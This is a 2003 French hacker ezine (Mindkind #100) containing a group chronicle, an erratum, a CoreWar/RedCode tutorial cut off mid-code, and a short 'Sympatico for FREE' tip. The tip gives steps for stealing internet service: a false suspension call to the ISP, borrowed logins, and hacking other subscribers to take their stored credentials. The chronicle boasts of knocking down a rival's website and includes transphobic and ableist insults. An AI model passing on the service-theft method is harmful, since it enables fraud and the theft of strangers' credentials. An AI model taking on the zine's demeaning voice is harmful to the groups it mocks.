__ _______ __ ___ _________ _________ ___ _________ _________ / ___|__|_ | |_______ | # / |________| | | | | /__ | | | | | | ___ ______ _|_____ _ __|__|_ ____ __ _____ ___|__| | | | ' | | | | | | | | | | | | | | | | . | | | | | | |\ | | | | | | | | | | \ | | | | | | | | | | \ | | ' / \ | | | | | | \__\ | | | | | | | | | | | | | | /_____|____|____ ____\ \____ __/ /__ ____|__ ____\ \___ _____ ____| | | ____|__|_ ___ | |_ _ ___ ___ | | |______ __| |___| | | | |___| | | | | | | | | __ __ __ __ _|____ ____|__|_ _____________ _ _|__| | | | | / / | ' | | | | | | |/ / | | | | | | | | / | | | | | |\ | | | / | | | | | | \ | | | < | | | | | | \ | | | \ | | | | | \__\ | | | |\ \ | | | | | | | | /____ _| \_ ____ _/ \__ ____/ /__ ____|___ ___\ \_____ ________| | __| |_ | | | | |_______ _ __ ___||__ _______ ____________| |_ _ __________ _____ __| .-- - ---------------- - --------------- - ------------------------------------- -. | MinDKinD100 ; again, again, and again ... I think u get the point. | '---------- - ----------------------------------- - ------------------- ----------' read me read me my friend read me read me again... HACKING IS SECURITY CODING IS USING GAMING IS LIFE C'est sur cette air (ere?) de Big Brother que nous lançons notre ezine #100. Saveur Originel, frais du jour, simple pour les hackers simples, savoureux comme sur la pancarte, faible en gras et sans sucre ajouté, avec d'la sauce piquante et bien sur, l'extra saucisse, bref, Mindkind. ATTENTION CE PRODUIT CONTIENT DE LA CAFEINE C'est ce que je vous aurais écrit si j'avais échappé de la caféine sur la copie papier que vous êtes entrain de ne probablement pas lire (la copie papier, que vous n'êtes pas entrain de lire, parce qu'elle n'existe probablement pas), si dans les 2 cas suivant vous avez soit comprit, ou été en possession de la copie papier (qui elle n'a probablement pas de caféine) et bien vous êtes une exception. Regarder autour de vous, vous êtes une exception, et vous êtes, seul, SEUL, TERRIBLEMENT SEUL. Mais au moins, vous avez votre exemplaire de Mindkind 100 sur papier, ce n'est pas peu dire. Et bien tant qu'a l'avoir imprimé (ou a avoir fait semblant), pourquoi ne pas commencer à le lire, vous verrez ce n'est pas très compliqué, vous n'avez qu'a baissez vos yeux de quelques centimètres et continuer à faire ce que vous faite déjà ici.. alors on se revoit plus bas, a+. Erratum ¯¯¯¯¯¯¯ Source : Mindkind 11 - 11.10 Comment sender des packets RAW sous windows 2k/XP Date d'émission : décembre 2002 Erreur de type : travesti (she male) bien maquillé On a malheureusement oublié de vous dire 2 choses au sujet de cet article : 1- C'est simplement une traduction d'un excellent article sur les RAW sockets 2- C'est fait par un/une travestie. À l'avis de Last les traductions ne sont pas si bad (on se rapel de LJNB #1 qui proposait un excellent article avancé sur le Spanning ShellCode qui était une traduction de phrack, et les traductions de meeting des Perl Mongers par Last). L'art de traduire est quelque chose de complexe, quand il y a beaucoup de texte Dans le cas du dernier article, c'était à 80% du code, alors on se demande : mais pourquoi? Simple, ya une demande de la part des gens de rêver qu'un jour une fille s'intéresse a de quoi de lowlevel avec l'informatique. Tk bravo Alice^ la traduction et le maquillage de fille est parfait, mais à partir de maintenant on va tapeller Alice^ toujours, on préfère te parler quand té déguiser, on peut ainsi s'imaginer une belle fille au lieu d'un gros cave. Ah oui pour ceux qui aime mieux aller voir les films dans leurs versions originale: http://www.mindrape.org/caffeine/zines/infosurge/infosurge-20.txt L'article 05. Source : Mindkind 11 - 11.08 Format string attack Date d'émission : décembre 2002 Erreur de type : post-formatting d'un article de format string (heh) Dans les pastes de garbages, le formattage après remise de l'article a complètement scrappé les flèches qui pointaient dans le garbage. Voici donc pour vous la version sans formattage avec les exemples alignées comme du monde: http://www.mindkind.org/products/FormatStringAttack.txt Source : #Mindkind Date d'émission : décembre 2003 Erreur de type : fait donc autre chose a place last [02:28] des gens saouls ce soir pour maider a faire des erratums bidons? [02:29] <__2> lastcall des erratums, jai des casse-tetes pliables + cool que ca ici ;] [02:29] haha [02:29] <__2> y vont dans machine en plus _____ _ ______ __ _ ___ _ _ |_ _ _______ _ ______ ___| | | ___ _____ __ ___ | || . || . || || _| .- -|__||___|| __||__||___| ---[MinDKinD100/topic]-- - -- - - -. == = ======== ; |__| | MinDKinD #100 | | __ __ | | | |____| | : [- dude ---] [-title ----- - ---------- -----] : | | ' 100.01 LastCall_ Le Patrimoine Lémurien . | _ _____| . 100.02 Seriousman CoreWar | __ _ _____ : 100.03 [Funky] try2hack howto | | __ | | 100.04 rst_ack applied arp poisoning ; | |__| | : 100.05 c4ndu L'ironie du pessimisme ! |__ _ _____| | 100.06 Tigerbalm Le piratage biochimique | _ _ ______ ; 100.07 h3 le chaos (pour illaitrés) | | __ | ' 100.08 LastCall_ À la conquete du chameau part 4 ; | |__| | . 100.09 Qwzykx Light, the final frontier! | |_ _ ______| | 100.10 Mindkind So you wanna be a hax0r? ' | 100.11 Seriousman i love PHP | ; 100.12 Wyzeman HTF googleownized.php | ' 100.13 Mindkind .hack_history ' | : '- - ---------------- - ---------------------------------- - ----' Dans la version "full" du ezine, vous retrouverez : - Mister T vs. Lamers, version 2.1 : De retour au hackfest - Un vidéo conceptuel tournée au 2600mtl (idée fou de Last) qui reprends http://www.badgerbadgerbadger.com Dans n'importe quel version du ezine, vous retrouverez des entres-articles qui sont plus intéressent que des articles de ezines concurrents (en HTML ou non, haha). .-----------[MinDKinD100\#100.01]------- ----------. [M]ind[K]ind #100 | ; | - 19/12/03 | . Le Patrimoine Lémurien | - LastCall_ | aka '------------- ----. | "La conquête de l'espace bytes" | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' Le patrimoine lémurien vous présente : Histoire de Mindkind; la conquête de l'espace bytes Janvier 2003 : La joke du début d'année Quelques heures après le lancement du eZine, je me suis décidé à le lire. Bon ok, c'est moi qui a tout corrigé de fond en comble, (avec l'aide de nothing94 et bgm, merci les gars) mais mon cerveau avait processé juste le français (ou ce qui était supposé être du français ;-) et pas le contenu lui -même de la chose. Je me suis aperçu justement de quelques erreurs, tel que annoncé dans l'erratum du début de ce ezine. M'enfin toute ça pour dire que, les gens se sont affèrés à lire le ezine, pour quelque temps... jusqu'à temps où on décida de faire un meeting, et de faire un face à face avec ceux qui nous on niaisé. Mi-janvier 2003 : Mindkind meet 2003 Comme à chaque année depuis 0 an, Mindkind organisa un meeting interne IRL. Succès total on était plusieurs du groupe à regarder et s'amuser devant la préparation powerpoint (duh!) de Wyze et Last, le tout en webcam-girl-o-rama. Après le meet, on alla voir Flopik et SM, les auteurs de la joke de Alice^ avec l'article rippé du web. La première impression qu'il firent à l'ensemble de Mindkind fût la suivante : maudit qui sont laid. Plusieurs d'entre nous eurent des nausées à penser que SM c'était travesti en Alice^, et disons qu'ils ont pas réussi à fitter avec les autres. Disons que Mindkind est rendu un groupe assé mature, qui filtre par lui-même les nouvelles personnes qui tentent de s'y inclurent. Ce fût donc avec ce dégout que l'histoire de Alice^ fût oubliée.. assé rapidement. On félicite quand même Flopik et SM pour avoir réussi à faire une suite à leur "entachement" de Mindkind, par contre ça cé pas rendu au point qu'on était pour les accepter avec nous. haha Février 2003 : Enfin le website v2 Wyzeman acheva le développement du site web.. cet "achèvement" dura encore quelques mois :-) Entre temps Wyze s'assaya avec #onu, qui était supposé réunir l'underground. Après tout wyzeman est gentil, il voulait de tout le monde avec lui... c'est plus mégalomane que gentil, mais bon pareil. Après quelques éclaboussures (faut dire que y'avait SM pis Flopik sur cte chan la?) le projet à tomber à l'eau.. pkoi? C'est pas l'underground au complet qui se tient sur Undernet.. et on dirait que toute cke Mindkind avait pas assimilé encore d'apparent sur Under, c'était moins intéressent. Mars 2003 : La dernière strike de nos gigons Flopik & SM the return : http://hyenas.ionichost.com/ Ce site était un site publique dédier à (sûrement) combattre Mindkind encore, pour ne pas dire de l'insulter indirectement. Malheureusement pour eux, leur sécurité était minable, et le site publique fut scrappé dans le temps de le dire. C'est donc la claque en arrière de la tête qui nous poussa à finir le site web, et à continuer nos affaires. Avril 2003 : un peu de répit A vrai dire a part changer nos DNS de place, ya rien de notable qui c'est passé ce mois la... Mai 2003 : web site on fire On est sur le bord de mettre le web site online, Wyzeman fix les bugs avant de le releaser... (veuillez noter ici qu'on fixe les bugs AVANT de releaser! haha) Pour ma part jai un peu laché le tout pour me pitcher dans le LAN ETS 2003... Juin 2003 : putain des vacances! C'est ce qui arrive quand l'été arrive : putain des vacances, putain y faut qu'on fourre. C'est pour ces raisons que le mois de juin fût unproductif, malgrès que le site web a runné un peu coté news... Juillet 2003 : lancement de la suite! Bon, le website est fini fait un ti boutte, personne fait pu rien depuis. Alors on lance quelques projets à la volée. La pluspart des projets sont interne et private, mais pour vous donner un avant goût : Mindkind rally, Mindkind candids, Mindkind Hackademy, Mindkind sploits. Ah oui pis MindFlayR a bravement renouvellé le domain .org. Pour les projets, candids a été le seul fructueux, hackademy a été repoussé, sploits cancellé, rally oublié. Cependant un "projet" attira tlm, c'était le Mindkind eZine... On en profita même pour s'installer un CVS.. décidément l'infrastructure Mindkindienne a augmenté.. Août 2003 : Spoof du deadline Mindkind 100 c4ndu s'en pouvait pu de faire des ASCII et de releaser un eZine, alors la machine du eZine est repartie.. Du même coup une couple d'affaires "interne" repartirent.. Mais, on dirait que le ezine a bouetté un peu. Après tout on voulait le releaser, mais faute de motivation (sauf de la part de ce cher c4ndu) on l'a repoussé.. repoussé pas mal à vrai dire. Y'a quand même plein d'autre affaires qui ont roulés quand meme. Par exemple à la fin du mois on a organisé un meeting IRL qui a eu un franc succès (faut dire que ya fallu aller réveiller Wyze à Qc City pour le rammener à 100 km de son lit). L'école des clounes nous a bien fait rire. Septembre 2003 : L'ultime cas Mindkind vs. Wyzeman Bien que pas de vos affaires, la chose notable du mois de septembre à été le fait que Wyzeman a pèté sa coche. Évidamment c'est LastCall_ qui cé occupé de brasser la marde (heh). Pkoi me direz vous? Pas à cause de l'ambiance, pas à cause qu'on fou rien, à cause que Wyzeman a une vision de Mindkind que les autres n'ont pas.. sa mégalomanie le met à part du reste des membres du crew. Par contre, si Mindkind existe encore, c'est qu'on marche en redondance. Aka si Wyzeman flanche, LastCall_ remonte le moral, et vice versa. Et si les 2 flanchent quoi qui l'arrive? Et bien init_null arrive et dit "esti que vous êtes boites" et tout rentre dans l'ordre. heh Parlant de init, y'a introduit dans le groupe, un autre bretteux du nick de n0p. Franc succès. Octobre 2003 : L'étincelle du hackfest dans nos coeurs (kétaine hein c4? :P) Et le silence se fût... jusqu'à temps que quelqu'un disa le mot "hackfest". C'est alors que tout le monde devinrent super excité et on décida que le hackfest c'était plus qu'un simple concours à la noix, mais bien une motivation pour faire de quoi. Pendant ce temps la Wyzeman prit sa pioche écrit PHP dessus et commença à nous creuser un site web home made. La version 3.0 est née. Et puis la, tout le monde capota avec le hackfest, chaque jour en se levant on assayait de faire des BO sur toute ce qui existe (j'en ai même pêté mon toaster) pis à faire des "exercices" de hacking tel que les ancients numéros du hackfest et d'autres parcours online. Novembre 2003 : hackfest, hackfest et pis hackfest. On était tous viré fou à propos du hackfest. Chaque fois que je voyais un mot avec un h ou un a ou un c ou un k ou un f ou un e ou un s ou un t je pensais au hackfest. On était tellement motivé, qu'on s'est retrouvé à aller au hackfest avec 3 teams complets (équipes de 3) et quelques amis. On était environ une douzaine. Évidamment le hackfest était rempli de leet, quand on a vu ça on a commencé à douter un peu de gagner haut la main devant tlm (paske faut dire que durant notre préparation on c'était dit que ça serait pas dure de owner tlm!). Mais, on a quand même fini par remporter la première place (exéquo avec une autre Équipe du nom de WYSINWYG, composé de dudes qui vont au mtl2600), et on s'est saoulé avec le cash remporté. Le hackfest nous a alors tous réveillé, et a bien sûr brassé un peu de marde. C'est pas commun qu'un groupe se ramasse dans un événement du genre et fasse parler de lui autant après.. mais c'est cool quand même, quand nous avons ouvert notre caisse de 24, et donner le chin à "Mindkind", on a alors senti que enfin, on fesait parti de quelque chose. J'offre une mention honorable à tous les participants du hackfest ainsi que les organisateurs, parce que je dois avouer que, on a aussi senti quon fesait parti de quelque chose, quand on a vu toute cette gang de geeks ramassé dans 2-3 chambres d'hotel. C'est en novembre 2003, qu'on vit la scène undergrounne québécoise renaître.. Décembre 2003 : eZine, dans ta face. Le eZine marque la fin de ce mois. Et Mindkind est encore plus gros que jamais. Les septiques sont peut-être pas confondu, mais après tout, on s'en calice d'eux! Je crois que ya une morale a retenir de Mindkind, et de tout les patrimoines lémuriens. Les gens croient tout savoir sur nous, et la pluspart s'en servent pour nous blaster, mais dites vous que bien que vous entendez parler de Mindkind seulement par le eZine, le site web, et peut -être le cannal IRC #mindkind.org; Mindkind fourmille d'idées, de projets, de soirées de débandades, d'alcool, de drogue, de sexe, etc. à l'interne sans que même VOUS vous en rendez compte... C'est ce que la pluspart des gens ont de la misère à piger, on fait pas juste des choses publiques.. c'est pour cette raison que ceux qui "insultent" Mindkind savent généralement pas de quoi ils parlent. Après tout, pourquoi on aurait gagner le hackfest si on serait si mauvais? Et non on a pas triché! C'est donc ainsi que, maintenant, les insultes nous passe par les oreilles tel une équation différentielle dans les oreilles d'un trisomique 22 qui n'est pas dans un Cube. En terminant je vous laisse sur une note que j'ai laissé au hackfest lors de mon "speech" en tant qu'équipe co-gagnante : Mindkind rulez, oi oi! - LastCall_ le Mindkind Zealot .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| lastcall@mindkind.org | '-------- - ----------- ------------ -----' =========================== Sympatico for FREE =========================== Truc: appeler au 310-SURF (310-8483) et dite: votre nom d'utilisateur, votre NIPS (Numero d'indentification personnel sympatico) et dite: Je m'en vais en voyage pour les 6 prochain mois, pouvez-vous désactivé mon account, je ne l'utiliserai pas de toute manière.. ensuite, trouver vous un ami qui a sympatico PPP, ou HSE et demandez-lui son login et mot de passe, entrer le dans votre access manager (ou outil de connection DSL de favoris) et appuyez sur connecter. VOILA vous avez internet gratuitement pour les 6 prochains mois! SI JAMAIS VOUS AVEZ PAS D'AMIS! hacker une personne sur le range de sympatico (64.228.*) en win98/2k (PAS DE WINXP, ils n'ont pas de access manager) et prennez son fichier EnterNet.ini situé quelque part dans le "Program Files" de l'utilisateur, overwriter le votre, par le sien ou installer vous un Virtual PC / VMWare sur Win98, overwriter le file défaut de access manager par celui avec les infos de votre "amis" ouvrer access manager et utiliser un petit soft pour voir sous les ***. Il me reste seulement à vérifier si les 6 mois où vous ne payez pas, compte dans les 12 mois de contrat je le saurez dans 5 mois! ;) =========================== .-------[MinDKinD100\#100.02]------- ---- - -------. [M]ind[K]ind #100 | ; | - 09/06/03 | . CoreWar | - SeriousMan | aka '------------- ----. | code war | | _____ . | '--------------------- ---[again, again n again.]---- --------- ------' XXXX XX XX XX XX XX XX XX XXXX XX XXX XXXXX XX XX XXXXX XX XXX XX XX XX XXX XX XX X XX X XX X XXX XX XX X XX XX XX XXXXXXX XXXXXXX XXXXXX XX XX XX XX XX XX XX XXX XXX X XX XX XXXX XXXX XXXX XXXXX XX XX XXXXX X XXXX by SeriousMan ;) Remarque: Ce Tutorial (ou article, mini-tutorial, introduction... est 100% imprimable . I/ C'est quoi : C'est un jeu entre deux ( ou plusieurs ) programmes ( aussi nommé Warrior's ou Soldat) -programmés dans un langage nommé RedCode- qui s'affrontent dans une arène virtuelle constitué de 8000 cases, chaque case pourra contenir une instruction , le but du jeu est que l'adversaire exécute une instruction illégale et meurt. Comme j'ai dis les deux adversaires sont programmées dans un langage nommé RedCode et exécuter dans des programmes qui simulent l'arène et qu'on va les nommé des simulateurs ;-) dont le plus célèbre c'est MARS (Memory Array Redcode Simulator) mais le plus accessible et facile en utilisation pour les débutent (mais pas le plus complet)c'est l'environnement CoreWarrior de Michel CASABIANCA programme en JAVA (donc compatible tous OS) et c'est pour cette raison qu'on va l'utiliser pour la première parti . Vous pouvez le téléchargez ici : http://www.sdv.fr/pages/casa/arc/corewarrior-0.2.zip 138Ko PS: je vous conseille vivement de télécharger un simulateur avant de lire l'article car sans la pratique vous ne comprendrez rien. Voici une liste de simulateur(pris du Faq) pour les téléchargez vous n'avez qu'a lancez une recherche sur google avec le nom du simulateur: MADgic41.lzh corewar for the Amiga, v4.1 MAD4041.lzh older version? MAD50B.lha corewar for the Amiga, beta version 5.0 Redcoder-21.hqx corewar for the Mac, supports ICWS'88 and '94 core-11.hqx corewar for the Mac core-wars-simulator.hqx same as core-11.hqx? corewar_unix_x11.tar.Z corewar for UNIX/X-windows, ICWS'86 but not ICWS'88 compatible koth31.tar.Z corewar for UNIX/X-windows. This program ran the former KotH server at intel.com koth.shar.Z older version kothpc.zip port of older version of KotH to the PC deluxe20c.tar.Z corewar for UNIX (broken X-windows or curses) and PC mars.tar.Z corewar for UNIX, likely not ICWS'88 compatible icons.zip corewar icons for MS-Windows macrored.zip a redcode macro-preprocessor (PC) c88v49.zip PC corewar, textmode display mars88.zip PC corewar, graphics mode display corwp302.zip PC corewar, textmode display, slowish mercury2.zip PC corewar written in assembly, fast! mtourn11.zip tournament scheduler for mercury (req. 4DOS) pmars08s.zip portable system, ICWS'88 and '94, runs on UNIX, PC, Mac, Amiga. C source archive pmars08s.tar.Z same as above pmars08.zip PC executables with graphics display, req 386+ macpmars02.sit.hqx pMARS executable for Mac (port of version 0.2) buggy, no display MacpMARS1.99a.cpt.hqx port of v0.8 for the Mac, with display and debugger MacpMARS1.0s.cpt.hqx C source (MPW, ThinkC) for Mac frontend pvms08.zip pMARS v0.8 for VMS build files/help (req. pmars08s.zip) ApMARS03.lha pMARS executable for Amiga (port of version 0.3.1) wincor11.zip MS-Windows system, shareware ($15) IIIIIII / IIIIIII / III / III / Premiére parti: III / IIIIIII / IIIIIII / II/ RedCode: 1/Intro Le RedCode est un langage très proche de l'assembleur mais plus facile ,c'est avec lui qu'on va écrire nos Warrior ( soldat pour les Francophone). Il y a plusieurs version du RedCode ( ICWS'86 ICWS'88 ICWS'94 ) mais nous on vas utiliser la ICWS'86 dans la première parti du tut (car elle est la plus facile) puis la ICWS'94 dans la deuxième partie (parce Qu'elle est la plus complète. *#*#What's is The ICWS#*#* (traduit du FAQ) Après un an de la première apparition de l'article Core War dans Scientific American , L'International Core War Society" ( ICWS ) a été établi, Depuis ce temps, l'ICWS a été responsable de la création et de la maintenance des Standares et des championnats de Core War . Il y a 6 Championnats et 2 Standares ( ICWS'86, ICWS'88 ) (le ICWS'94 n'est pas (très) officielle mais c'est le plus utilisé. *#*#Fin de:What's is The ICWS#*#* 2/Les instructions (1er partie): Remarque avant de commencer: Au commencement de la bataille les Warrior (et donc leur code) sont mis par hasard dans l'arène constitue de 8000 cases ( normalement ) vide = remplis des "DAT 0" (vous saurez se que c'est après ;) toute instruction est mis dans une case et le Warrior commence son exécution depuis sa première instruction par tour : le premier Warrior exécute sa première instruction puis le deuxième exécute sa première instruction puis vient le tour du premier a exécuter sa deuxième instruction et ainsi de suite jusqu'a ce qu'un Warrior meurt "Un Warrior meurt quand il exécute une instruction illégale ( vous verrez sa après ) , Le dernier Warrior qui reste vivant sera le gagnant . Dernière chose tout ce que je dirais après des ";" ou entre "/*" et "*/" seront des commentaires. Fin de "Remarque avant de commencer" dat 1 : Cette instruction ne fait rien elle sert juste pour staurer les Variables, avant d'y mettre les Warrior dedans l'arène (La Core pour les Anglophones) est remplis de dat 0. mov a b : prend la valeur a et la met dans b ( a et b peuvent être toute chose : des lignes de codes une valeur réel ...( vous le verrez dans la section méthode d'adressage). ex: mov 0 1 ;prend la valeur de l'instruction après 0 case de celle si (donc l'instruction elle même ) et la met dans la case suivante (c'est le plus simple des warior ,son nom est IMP) il met son code dans la case suivante puis l'exécute. -------------------------simulation de IMP------------------------------- (les point sont les case vide (dat 0) et les 1 sont les case de l'IMP (mov 0 1) et x c'est la case s'exécutent dans ce tour) [1]: x0000000000000000000000 [2]: 1x000000000000000000000 [3] 11x00000000000000000000 [10] 111111111x0000000000000 ..... -----------------------fin de simulation IMP----------------------------- jmp a : saute a la case 'a' pour l'executer ( au lieu d'executer l'instruction de la case suivante) . ex: jmp 6;saute 6 case et execute l'instruction puis continue normalement Voici un ptit Warrior made in SeriousVille qui utilise ces deux instruction : mov 0 3 ; copie cette instruction (son adresse est 0) apres 3case jmp 2 ; saute 2 case (donc vers le mov 0 3 ) (le 2 c'est relatif a l'instruction) -------------------Simulation de ce Warrior ---------------------------- (le * avant l'instruction signifie que c'est son tour de s'executer) [1] : | [2] : | [3] | [4]: | [5]: *mov 0 3 | mov 0 3 | mov 0 3 | mov 0 3 | Le programme crashe!!!!!!! jmp 2 | *jmp 2 | jmp 2 | jmp 2 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | mov 0 3 | *mov 0 3 | mov 0 3 | dat 0 | dat 0 | dat 0 | *dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | mov 0 3 | --------------------Fin de simulation ----------------------------------- Vous étés sûrement surpris : "Pourquoi le programme a crashé !!!??!!???". Esque vous rappelez du but du jeu "le but de ce jeu est que l'adversaire exécute une instruction illégale" ,mais quelle sont les instruction illégale: La première instruction c'est le dat, tout Warrior (Soldat) voulant exécuter un dat perdra la partie et mourra b/Les méthodes d'adressage: Le RedCode a 3 méthode d'adressage : Relatif: C'est le mode par défaut . Il est relatif à la case de l'instruction en cour d'exécution .(c'est ce qu'on a vu dans nos exemples par ex mov 0 1) (on peut aussi faire : mov 0 $1). Immédiat : Est indiqué par un signe # avant l'argument . Indique une valeur numérique , sans référence d'adresse . Donc #3 est la valeur numérique 3. ex : jmp 2; c'est pour sauter les dat dat #3 add #1 -1 /* cette commande ajoute le contenu de son premier paramètre (ici 1) a la case du deuxième paramètre (attention on ne peut ajouter Une valeur qu'a un dat sinon le Warrior CRASHE) */ jmp -1 ; reviens au add ----------------------------Simulation----------------------------------- [1]: | [2]: | [3]: | [4]: | [5] *jmp 2 | jmp 2 | jmp 2 | jmp 2 | jmp 2 dat #3 | dat #3 | dat 4 | dat 4 | dat #5 add #1 -1 | *add #1 -1 | add #1 -1 | *add #1 -1 | add #1 -1 jmp -1 | jmp -1 | *jmp -1 | jmp -1 | *jmp -1 ---------------------Fin De Simulation----------------------------------- Indirect : Est indiqué par un signe @ . L'adresse après le signe @ n'est pas l'adresse pointée mais l'adresse de l'adresse pointée (tjs de type dat ) par ex: jmp 2 ;saute le dat dat 2 mov 0 @-1 ; met l'instruction elle meme (0) apres x case du -1 ( donc ;apres x+(-1) case) , ou le x est la valeur de l'instruction dont ;l'adresse par rapport au mov est -1 (tjs un dat) ,(donc x = 2 car ;c'est la valeur du dat). ----------------------------------Simulation----------------------------- [1]: | [2] | [3] | [4] *jmp 2 | jmp 2 | jmp 2 | CRASHE!!!!!!!! dat 2 | dat 2 | dat 2 | mov 0 @-1 | *mov 0 @-1 | mov 0 @-1 | dat 0 | dat 0 | *mov 0 @-1 | dat 0 | dat 0 | dat 0 | -------------------------------Fin de simulation------------------------- Comme toujours vous êtes surpris : "Pourquoi ça crashe!!!!!" Tous simplement car il a exécuté une instruction illégale ( erreur d'indirection) si vous vous rappelez j'ai dis : "L'adresse après le signe @ n'est pas l'adresse pointée mais l'adresse de l'adresse pointée ( OUJOURS DE TYPE DAT )" il faut que l'adresse pointée soit de type de dat mais dans notre cas c'est un mov donc --------------------->CRASHEEEEE c/Les Instructions (2éme parties): Bon, continuent notre découverte d'instruction ;) add a b ; ajoute le contenue de 'a' dans 'b' (relatif) (L'INSTRUCTION DE L'ADRESSE B DOIT ETRE TJS UN DAT OU BIEN : CRASHEEE.... sub a b ;soustrait le contenue de 'a' dans 'b' jmz A B ; Saut à l'adresse A si le contenu de B est nul. (B dat sinon BOOM) ex: jmp 2 dat 0 jmz 2 -1 dat 6 jmp -2 jmg A B ; Saut à l'adresse A si le contenu de B est supérieur à zéro. (il faut que B soit un dat sinon CRASHE ;) ex: jmp 2 ; saute le dat dat 0 jmg 2 -1 ;saut 2 case si se qui est contenue en -1 est different de 0 jmp -1 dat 6 djz A B ; Décrémente (soustrait 1) le contenu de A saut à la case B si le résultat ; est zéro. (il faut que A soit un dat sinon CRASH!!) cmp A B ; compare A et B et saute l'instruction suivante s'ils sont different ex: jmp 3 ; saute les dat dat 0 dat 3 add #4 -2 ; ajoute 4 au dat 0( dont l'adresse est -2) add #3 -2 ; ajoute 3 au dat 3(dont l'adresse est -2 (c'est relatif)) cmp -4 -3 ;compare le contenue de -4 et -3 et saute l'instruction suivante ;s'ils sont different mov 0 1 ; IMP jmp -4 ; reviens au premier add ----------------------------simulation----------------------------------- [1]: *jmp 3 dat 0 dat 3 add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [2]: jmp 3 dat 0 dat 3 *add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [3]: jmp 3 dat 4 dat 3 add #4 -2 *add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [4]: jmp 3 dat 4 dat 6 add #4 -2 add #3 -2 *cmp -3 -4 mov 0 1 jmp -4 [5]: jmp 3 dat 4 dat 6 add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 *jmp -4 [6]: jmp 3 dat 4 dat 6 *add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [apres 2 cycles]: jmp 3 dat 12 dat 12 add #4 -2 add #3 -2 *cmp -3 -4 mov 0 1 jmp -4 [apres 2 cycles + 1]: jmp 3 dat 12 dat 12 add #4 -2 add #3 -2 cmp -3 -4 *mov 0 1 jmp -4 puis le programme deviens un simple IMP . ----------------------------simulation----------------------------------- C'est fini pour ce chapitre ,mais je vous conseille de ne pas continuer ce texte que si vous ne l'avez pas bien compris parseque c'est la base. III/Les Warriors: On a vu Le RedCode et ses instruction (ICWS'86) donc passons a l'attaque et utilisons nos connaissance pour programmer quelque Warrior (Soldat pour les 100% francophone) . Donc ( comme vous l'avez su avec votre mega intelligence) dans ce chapitre nous allons étudier quelque exemples de Warrior fait par moi ou par des autres génies . Remarque: cette partie n'est pas très bien conçu pour être imprimé . 1/Le RADAR :(par un anonyme) /*phase 1 du prog*\ mov #1 -100 /*met un 1 dans la case -100 (c'est une case piege si sa valeur change s'est k'il y a kelkun qui a passe ici)*/ add #19 14 ; ajoute 19 ala case 14 (ca serve comme un compteur) mov #0 @13 /*Bombarde avec des 0 (pour que le programme adverse fait l'erreur de l'exécuter. */ cmp #1 -103 /*verifie si la case piege a change de valeur si oui alors il va ala deuxieme partie */ jmp -3 /* si non reviens au bombardement (bombarde la case d'avant + 19) */ /*phase 2 du prog *\ mov @11 @12 ;\ cmp #1 10 ; \ jmp 4 ; \ add #1 8 ; \Phase 2: cette boucle copie le programme dans ; \un autre bout add #1 8 ; /de la memoire puis va la bas jmp -5 ; / mov #-16 -129 ; / mov #-16 -129 ; / mov #-150 -129 ;/ JMP -147 ;/ dat -16 ;compteur de bombardement dat -16 ;compteur de copie du prog (1er parametre du mov) dat -150 ;compteur de copie du prog (2eme parametre du mov) Se Warrior (faible) bombarde la mémoire en priant de tomber sur l'adversaire et en même temps il met une case piège et vérifie qu'elle n'a pas change mais si elle change alors il va a la phase 2 ou il se copie dans un autre bout de memoire et complète son travail la bas. Mais le point faible du prog s'est qu'il va s'auto détruire après un certain temps . 2/L'anti IMP :(par un anonyme) jmp 2 ;saute le jmp 23 (sinon on se retrouvera en plain dat) jmp 23 ;c'est avec sa qu'on va bombarder les 10 cases d'avant mov -1 -3 ;\ mov -2 -5 ; \ mov -3 -7 ; \ mov -4 -9 ; \Bombardement des 10 cases s'avant mov -5 -11 ; \ mov -6 -13 ; / mov -7 -15 ; / mov -8 -17 ; / mov -9 -19 ; / mov -10 -21;/ jmp -10 ;reprend le bombardement Ce Warrior ne fait que tue le IMP (vous l'avez deviné je crois, non ?) sa tactique est très simple : Il bombarde les 10 case avant son code avec des jmp 23 pour que IMP l'exécute et se lance vers un dat . 3/L'anti IMP +add'on de copie (add'on fait par SeriousMan ): Le But de mon ajout est de faire en sorte que ce warrior se déplace au lieu d'être immobile ,ce ne lui ajoute rien en force mais c'est seulement pour vous faire découvrir comment déplacer un warrior voici le code (a vous de le décoder;): jmp 7 add #-5 4;\ces deux add pour que le prog marche add #-6 4*/ apres sa copie ( les valeurs des dat sont changé avant d'etre copie) jmp 4 ; saute les dat dat 20 dat -5 /* compteur pour voir si le programme a fini de se copier (et serve pour d'autre chose) */ dat 40 ;pour savoir ou copié le warrior (deuxieme parametre du mov) jmp 2 jmp 60 ;va au programme copie mov -1 -10 mov -2 -12 mov -3 -14 mov -4 -16 mov -5 -18 mov -6 -20 mov -7 -22 mov -8 -24 mov -9 -26 mov -10 -28 add #1 -14 ; ajoute 1 a la source add #1 -14 ;ajoute 1 a l'adresse mov @-16 @-15 ; copie une case cmp @-17 @-18 ;eske le tout le code s'est copie jmp 24 ; si oui alors va a la nouvelle adresse jmp -15 ;si non alors fini ton boulo 4/exercices: a/Changez le code du anti IMP + plug'in pour qu'au lieu de bombarder les 10 cases avant il va bombarder toute la mémoire ( il est impératif de savoir faire ça si vous ne pouvez pas le faire je vous conseille de relire se que j'ai écris avant). b/Gerimini : add #99 -1 mov @-3 @-2 cmp -4 #10 jmp 4 add #1 -6 add #1 -6 jmp -5 mov #99 92 jmp 92 Vous n'avez que comprendre le code avant de l'executer . 5/Bombarder (par anonyme): jmp 2 ; saute le dat dat 8 ;le compteur du bombardement add #9 -1 ;on ajoute 9 au compteur mov -2 @-2 ;on bombarde jmp -2 ;puis on reviens pour bombarder la neuvieme case aprés la derniere qu'on a bombarde Ce code est simple il bombarde tout les 9 case une avec un dat ,il se serve d'un compteur qu'il augmente de 9 après avoir bombarder. 6/Double bombarder (par moi ,SeriousMan): jmp 3 ;saute les dat dat 14 ;le compteur du bombardement positif dat -8 ;le compteur du bombardement negatif add #15 -2 ;augment le compteur du bombardement positif sub #15 -2 ;decremente le compteur du bombardement negatif mov -3 